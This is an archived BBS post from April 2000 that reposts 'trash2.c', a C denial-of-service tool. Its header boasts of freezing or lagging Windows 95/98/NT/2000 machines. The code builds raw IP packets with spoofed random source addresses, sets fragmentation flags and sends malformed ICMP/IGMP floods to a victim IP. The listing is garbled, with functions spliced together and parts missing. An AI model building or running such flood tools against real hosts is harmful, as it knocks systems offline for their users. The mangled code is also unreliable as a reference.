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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="346.htm">下一篇</a>]
<hr><p align="left"><small>:发信人: scz (小四), 信区: Security <br>
:标 题: trash2.c <br>
:发信站: 武汉白云黄鹤站 (Wed Apr 26 22:31:28 2000), 站内信件 <br>
<br>
/* Complex denial of service attack against Windows98/95/2000/NT Machines <br>
<br>
Overview: sends random, spoofed, ICMP/IGMP packets with random spoof source <br>
<br>
Result: Freezes the users machine or a CPU usage will rise to extreme <br>
<br>
lag. tested on: <br>
<br>
2.0.35 <br>
<br>
2.2.5-15 <br>
<br>
2.2.9 <br>
<br>
2.0.36 <br>
<br>
From a 56k I killed 2/5 Win/NT Box's, 5/5 Win98, 4/6 Win95. <br>
<br>
And those who didn't die, they where lagged to hell... <br>
<br>
You may freely alter this code, but give credit where credit is due <br>
<br>
gcc -o trash2 trash2.c will do fine... <br>
<br>
e-mail leet@ibw.com.ni for any questions. <br>
<br>
*/ <br>
<br>
/* greets go out to: <br>
<br>
bombfirst, L^Warrior, codesearc, Asphyx, killtron, ^S|lver, randip( <br>
<br>
; fucntion stolen from kox.c <br>
<br>
acidspill, glock24, p0larbear, xjust, bxj2k, JUSTaGIRL [you know who yo <br>
<br>
are] <br>
<br>
Drth_Maul,everyone in #bitchx@unet, #outlaw@unet, #slackware@unet, #ker <br>
<br>
el@unet <br>
el@unet <br>
<br>
[outlaw] <br>
<br>
<br>
<br>
*/ <br>
<br>
<br>
<br>
#include <stdio.h> <br>
<br>
#include <unistd.h> <br>
<br>
#include <stdlib.h> <br>
<br>
#include <string.h> <br>
<br>
#include <sys/types.h> <br>
<br>
#include <sys/time.h> <br>
<br>
#include <sys/socket.h> <br>
<br>
#include <pwd.h> <br>
<br>
#include <time.h> <br>
<br>
#include <sys/utsname.h> <br>
<br>
#include <netdb.h> <br>
<br>
#include <netinet/in.h> <br>
<br>
#include <netinet/ip.h> <br>
<br>
#include <netinet/ip_icmp.h> <br>
<br>
#include <netinet/igmp.h> <br>
<br>
<br>
<br>
void banner(void) { <br>
<br>
<br>
<br>
<br>
printf("trash2.c - misteri0@unet [outlaw]\n\n"); <br>
<br>
printf("\n\n"); <br>
<br>
} <br>
<br>
void usage(const char *progname) { <br>
<br>
printf("usage:\n"); <br>
<br>
printf("./trash [dst_ip] [# of packets]\n",progname); <br>
<br>
printf("\t[*] [ip_dst] : ex: 201.12.3.76\n"); <br>
<br>
printf("\t[*] [number] : 100\n"); <br>
<br>
printf("\t-----------------------------------------\n"); <br>
<br>
} <br>
<br>
unsigned int randip() <br>
<br>
{ <br>
<br>
struct hostent *he; <br>
<br>
struct sockaddr_in sin; <br>
<br>
char *buf = (char *)calloc(1, sizeof(char) * 16); <br>
<br>
<br>
<br>
sprintf(buf, "%d.%d.%d.%d", <br>
<br>
(random()%191)+23, <br>
<br>
(random()%253)+1, <br>
<br>
(random()%253)+1, <br>
<br>
(random()%253)+1); <br>
<br>
<br>
<br>
<br>
inet_aton(buf, (struct in_addr *)&sin); <br>
<br>
return sin.sin_addr.s_addr; <br>
<br>
} <br>
<br>
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) { <br>
<br>
struct hostent *host; <br>
<br>
memset(addr,0,sizeof(struct sockaddr_in)); <br>
<br>
addr->sin_family = AF_INET; <br>
<br>
addr->sin_addr.s_addr = inet_addr(name); <br>
<br>
if (addr->sin_addr.s_addr == -1) { <br>
<br>
if (( host = gethostbyname(name) ) == NULL ) { <br>
<br>
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); <br>
<br>
return(-1); <br>
<br>
} <br>
<br>
addr->sin_family = host->h_addrtype; <br>
<br>
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); <br>
<br>
} <br>
<br>
addr->sin_port = htons(port); <br>
<br>
return(0); <br>
<br>
} <br>
<br>
unsigned short in_cksum(addr, len) <br>
<br>
<br>
<br>
u_short *addr; <br>
<br>
int len; <br>
<br>
{ <br>
<br>
register int nleft = len; <br>
<br>
register u_short *w = addr; <br>
<br>
register int sum = 0; <br>
<br>
u_short answer = 0; <br>
<br>
<br>
<br>
while (nleft > 1) { <br>
<br>
sum += *w++; <br>
<br>
nleft -= 2; <br>
<br>
} <br>
} <br>
<br>
<br>
<br>
if (nleft == 1) { <br>
<br>
*(u_char *)(&answer) = *(u_char *)w ; <br>
<br>
sum += answer; <br>
<br>
} <br>
<br>
<br>
<br>
sum = (sum >> 16) + (sum & 0xffff); <br>
<br>
ip->version = 4; <br>
<br>
ip->ihl = (sizeof *ip) / 4; <br>
<br>
ip->ttl = 255; <br>
<br>
ip->tot_len = htons(BIGIGMP); <br>
<br>
ip->protocol = IPPROTO_IGMP; <br>
<br>
ip->id = htons(id); <br>
<br>
ip->frag_off = htons(IP_MF); <br>
<br>
ip->saddr = spoof; <br>
<br>
ip->daddr = victim->sin_addr.s_addr; <br>
<br>
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); <br>
<br>
<br>
<br>
igmp->type = 0; <br>
<br>
igmp->group = 0; <br>
<br>
igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr)); <br>
<br>
<br>
<br>
<br>
for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1; <br>
<br>
i < BIGIGMP; i++) <br>
<br>
pkt[i] = random() % 255; <br>
<br>
#ifndef I_GROK <br>
<br>
un = (struct utsname *)(pkt + sizeof(struct iphdr) + <br>
<br>
sizeof(struct igmphdr) + 40); <br>
<br>
uname(un); <br>
<br>
p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10); <br>
<br>
memcpy(p, getpwuid(getuid()), sizeof(struct passwd)); <br>
<br>
#endif <br>
<br>
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { <br>
<br>
perror("error: socket()"); <br>
<br>
return 1; <br>
<br>
} <br>
<br>
<br>
<br>
if(sendto(s, pkt, BIGIGMP, 0, victim, <br>
<br>
sizeof(struct sockaddr_in)) == -1) { <br>
<br>
perror("error: sendto()"); <br>
<br>
return 1; <br>
<br>
} <br>
<br>
/* usleep(1000000); */ <br>
<br>
<br>
<br>
<br>
for(i = 1; i < 5; i++) { <br>
<br>
if(i > 3) <br>
<br>
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3); <br>
<br>
else <br>
<br>
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF); <br>
<br>
sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in)); <br>
<br>
/* usleep(2000000); */ <br>
<br>
} <br>
<br>
<br>
<br>
free(pkt); <br>
<br>
close(s); <br>
<br>
return 0; <br>
<br>
} <br>
<br>
<br>
<br>
int send_winbomb(int socket, <br>
<br>
unsigned long spoof_addr, <br>
<br>
struct sockaddr_in *dest_addr) { <br>
<br>
unsigned char *packet; <br>
<br>
struct iphdr *ip; <br>
<br>
struct icmphdr *icmp; <br>
<br>
int rc; <br>
<br>
packet = (unsigned char *)malloc(sizeof(struct iphdr) + <br>
<br>
sizeof(struct icmphdr) + 8); <br>
<br>
ip = (struct iphdr *)packet; <br>
<br>
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); <br>
<br>
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>
<br>
ip->ihl = 5; <br>
<br>
ip->version = 4; <br>
<br>
// ip->tos = 2; <br>
<br>
ip->id = htons(1234); <br>
<br>
ip->frag_off |= htons(0x2000); <br>
<br>
// ip->tot_len = 0; <br>
<br>
ip->ttl = 30; <br>
<br>
ip->protocol = IPPROTO_ICMP; <br>
<br>
ip->saddr = spoof_addr; <br>
<br>
ip->daddr = dest_addr->sin_addr.s_addr; <br>
<br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
<br>
<br>
<br>
icmp->type = rand() % 15; <br>
<br>
icmp->code = rand() % 15; <br>
<br>
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1); <br>
<br>
if (sendto(socket, <br>
<br>
packet, <br>
<br>
sizeof(struct iphdr) + <br>
<br>
sizeof(struct icmphdr) + 1,0, <br>
<br>
(struct sockaddr *)dest_addr, <br>
<br>
sizeof(struct sockaddr)) == -1) { return(-1); } <br>
<br>
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>
<br>
ip->frag_off = htons(8 >> 3); <br>
<br>
ip->frag_off |= htons(0x2000); <br>
<br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
<br>
icmp->type = rand() % 15; <br>
<br>
icmp->code = rand() % 15; <br>
<br>
icmp->checksum = 0; <br>
<br>
if (sendto(socket, <br>
<br>
packet, <br>
<br>
sizeof(struct iphdr) + <br>
<br>
sizeof(struct icmphdr) + 8,0, <br>
<br>
(struct sockaddr *)dest_addr, <br>
<br>
sizeof(struct sockaddr)) == -1) { return(-1); } <br>
<br>
free(packet); <br>
<br>
return(0); <br>
<br>
} <br>
<br>
int send_igmp(int socket, <br>
<br>
unsigned long spoof_addr, <br>
<br>
struct sockaddr_in *dest_addr) { <br>
<br>
<br>
<br>
unsigned char *packet; <br>
<br>
struct iphdr *ip; <br>
<br>
struct igmphdr *igmp; <br>
<br>
int rc; <br>
<br>
<br>
<br>
<br>
<br>
if (sendto(socket, <br>
<br>
packet, <br>
<br>
sizeof(struct iphdr) + <br>
<br>
sizeof(struct igmphdr) + 1,0, <br>
<br>
(struct sockaddr *)dest_addr, <br>
<br>
sizeof(struct sockaddr)) == -1) { return(-1); } <br>
<br>
<br>
<br>
<br>
<br>
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); <br>
<br>
ip->frag_off = htons(8 >> 3); <br>
<br>
ip->frag_off |= htons(0x2000); <br>
<br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
<br>
<br>
<br>
igmp->type = 0; <br>
<br>
igmp->code = 0; <br>
<br>
<br>
<br>
if (sendto(socket, <br>
<br>
packet, <br>
<br>
sizeof(struct iphdr) + <br>
<br>
sizeof(struct igmphdr) + 8,0, <br>
<br>
(struct sockaddr *)dest_addr, <br>
<br>
/* if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } */ <br>
<br>
src_addr = dest_addr.sin_addr.s_addr; <br>
<br>
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } <br>
<br>
printf("Status: Connected....packets sent.\n",argv[0]); <br>
<br>
for (i = 0;i < atoi(argv[2]);i++) { <br>
<br>
if (send_winbomb(sock,randip(),&dest_addr) == -1 || send_igmp(sock,randip <br>
<br>
),&dest_addr) == -1 || sendwin98bug(&dest_addr, randip()) ) { <br>
<br>
fprintf(stderr,"ERROR: Unable to Connect To host.\n"); <br>
<br>
return(-1); <br>
<br>
} <br>
<br>
usleep(10000); <br>
<br>
} <br>
<br>
} <br>
<br>
<br>
<br>
-- <br>
<br>
<br>
<br>
<br>
<br>
也许有一天，他再从海上蓬蓬的雨点中升起， <br>
<br>
飞向西来，再形成一道江流，再冲倒两旁的石壁， <br>
<br>
再来寻夹岸的桃花。然而，我不敢说来生，也不敢信来生...... <br>
<br>
<br>
<br>
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124] <br>
<br>
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